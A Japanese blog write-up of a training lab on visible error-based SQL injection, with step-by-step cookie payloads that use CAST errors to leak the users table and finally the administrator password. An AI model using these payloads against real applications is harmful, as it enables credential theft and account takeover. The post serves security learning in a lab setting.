Shikata Ga Nai

Private? There is no such things.

Visible error-based SQL injectionをやってみた

Hello there, ('ω')ノ

 

目に見えるエラーベースのSQLインジェクションを。

 

このラボにはSQLインジェクションの脆弱性が含まれていて。

アプリケーションはアナリティクスのためにトラッキングクッキーを使用し、

送信されたクッキーの値を含むSQLクエリを実行して。

ただし、SQLクエリの結果は返されず。

データベースには、usersという別のテーブルがあり、

その列にはusernameとpasswordがあって。

このラボを解決するためには、管理者ユーザのパスワードを

漏洩させる方法を見つけ、そのアカウントにログインして。

 

はじめにラボにいつものようにログインをしてみると。

 

 

ログインできないようで。

 

 

Burp Suiteの履歴を確認することに。

TrackingIdという怪しいCookieを見つけたのでリピータへ。


 

まずは、TrackingIdの末尾にシングルクォートを追加し、リクエストを送信すると。

 TrackingId=NS9R9Tjrs3AUsRjs'

 

レスポンスのエラーメッセージで、TrackingIdの値が表示されて。

クエリ内に閉じられていない文字列リテラルがあるということで。

 

 

リクエストに、エラーを引き起こしている余分なシングルクォート文字を含めずに

クエリの残りの部分をコメントアウトすることに。

 TrackingId=NS9R9Tjrs3AUsRjs'--

 

リクエストを送信するとエラーは表示されず。

これは、クエリが構文的に正しいということで。

 


次にSELECTサブクエリを追加することに。

返された値をintデータ型にキャストするようにクエリを変更して。

 TrackingId=NS9R9Tjrs3AUsRjs' AND CAST((SELECT 1) AS int)--

 

リクエストを送信するとAND条件はboolean式である必要があるという

異なるエラーメッセージが表示されて。

 

 

よって、条件文を適切に修正するために比較演算子(=)を追加することに。

 TrackingId=NS9R9Tjrs3AUsRjs' AND 1=CAST((SELECT 1) AS int)--


リクエストを送信するとエラーは表示されず。

これは、これが再び有効なクエリであることを示しているので

 

 

データベースからユーザ名を取得するようにSELECT文を変更して。

 TrackingId=NS9R9Tjrs3AUsRjs' AND 1=CAST((SELECT username FROM users) AS int)--

 

送信すると最初のエラー メッセージが再び表示され。

文字数制限により、クエリが切り詰められているように見えて。

その結果、クエリを修正するために追加したコメント文字は含まれず。

 

 

よって、下記のようにTrackingIdの値を削除して送信すると。

 TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--


データベースによって生成されたように見える新しいエラーメッセージが表示され。

これは、クエリが正しく実行されたが、予期しない複数の行が返されたために

エラーが発生していることを示唆していて。

 ERROR: more than one row returned by a subquery used as an expression

 

 

そこで、クエリを1つの行だけ返すように修正して。

 TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

 

リクエストを送信するとエラーメッセージがユーザテーブルから

最初のユーザ名を漏洩して。

 ERROR: invalid input syntax for type integer: "administrator"

 

 

administratorがテーブル内の最初のユーザであることがわかったので、

クエリを再度修正してパスワードを漏洩させることに。

 TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

 


盗まれたパスワードを使用して管理者としてログインしすると。

 i3k9dk0gkcgadsg2anuo

 

 

クリアできて。

 

 

Best regards, (^^ゞ